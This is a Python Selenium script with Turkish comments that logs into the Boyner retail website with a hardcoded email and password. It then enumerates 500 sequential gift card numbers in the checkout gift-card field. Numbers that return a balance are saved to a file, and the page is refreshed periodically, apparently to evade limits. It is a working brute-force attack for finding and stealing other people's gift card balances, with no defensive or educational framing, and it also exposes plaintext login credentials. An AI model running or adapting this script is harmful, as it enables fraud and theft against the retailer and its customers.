from selenium import webdriver import time from selenium.webdriver.common.by import By from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common.action_chains import ActionChains # WebDriver seçeneklerini ayarla options = webdriver.ChromeOptions() options.add_argument("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3") # WebDriver'ı başlat driver = webdriver.Chrome(options=options) driver.maximize_window() # Boyner giriş sayfasına git url = "https://www.boyner.com.tr/uyelik" driver.get(url) time.sleep(2) # Giriş bilgilerini doldur ve giriş yap giris = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div[2]/div/div/div/div[2]/form/div[1]/div/div/input") giris.send_keys("ultiourani@gmail.com") time.sleep(1) sifre = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div[2]/div/div/div/div[2]/form/div[2]/div/div/input") sifre.send_keys("benexol123") time.sleep(1) driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div[2]/div/div/div/div[2]/form/div[3]/button/span").click() time.sleep(2) # Sepet sayfasına git sepet = "https://www.boyner.com.tr/odeme?type=payment" driver.get(sepet) time.sleep(5) # Gift kart bölümünü aç giftkartbolumu = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div/div[1]/div[2]/div[2]/div/div[3]") giftkartbolumu.click() time.sleep(2) kartgirmeyeri = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div/div[1]/div[2]/div[2]/div/div[3]/div[2]/div/div[2]/div[1]/div/div/input") kartkontrolbutonu = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div/div[1]/div[2]/div[2]/div/div[3]/div[2]/div/div[2]/div[2]/button") # Başlangıç kartsayısı kartsayisi = 1728880893342255 # 500 kez deneme yap for i in range(500): kartgirmeyeri.send_keys(str(kartsayisi)) # kartsayisini stringe çevir kartkontrolbutonu.click() time.sleep(2) try: # GIFTCARD_WRONG_MESSAGE kontrolü try: wrong_message = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div/div[1]/div[2]/div[2]/div/div[3]/div[2]/div/div[1]") if "GIFTCARD_WRONG_MESSAGE" in wrong_message.text: kartsayisi = int(kartsayisi) + 1 valueyisil = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div/div[1]/div[2]/div[2]/div/div[3]/div[2]/div/div[3]/div[1]/div/div/input") actions = ActionChains(driver) actions.double_click(valueyisil).perform() continue except NoSuchElementException: pass # XPATH ile elementi bul cikandeger = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div/div[1]/div[2]/div[2]/div/div[1]/div[2]/div[2]/strong") # Değerin 0'dan büyük olup olmadığını kontrol et if str(cikandeger.text): # Dosyaya yaz with open("boynerkartlar.txt", "a") as file: file.write(f"{kartsayisi},{cikandeger.text}\n") # Kartı kaldır kartikaldir = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div/div[1]/div[2]/div[2]/div/div[1]/div[2]/div[3]/button[2]") kartikaldir.click() time.sleep(3) kartikaldironayla = driver.find_element(By.XPATH, value="/html/body/div[8]/div/div/div[3]/button[1]") kartikaldironayla.click() time.sleep(3) driver.get(sepet) time.sleep(5) giftkartbolumuyeni = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div/div[1]/div[2]/div[2]/div/div[3]/div/div[1]/div/div[2]/div") giftkartbolumuyeni.click() time.sleep(2) # Kartsayısını bir artır kartsayisi = int(kartsayisi) + 1 # Her 25 denemeden sonra sayfayı yenile if (i + 1) % 25 == 0: driver.refresh() time.sleep(5) giftkartbolumu = driver.find_element(By.XPATH, value="/html/body/div[3]/div/div/div/div[1]/div[2]/div[2]/div/div[3]") giftkartbolumu.click() time.sleep(2) except NoSuchElementException: # Element bulunamazsa bir şey yapma ve devam et pass # WebDriver'ı kapat driver.quit()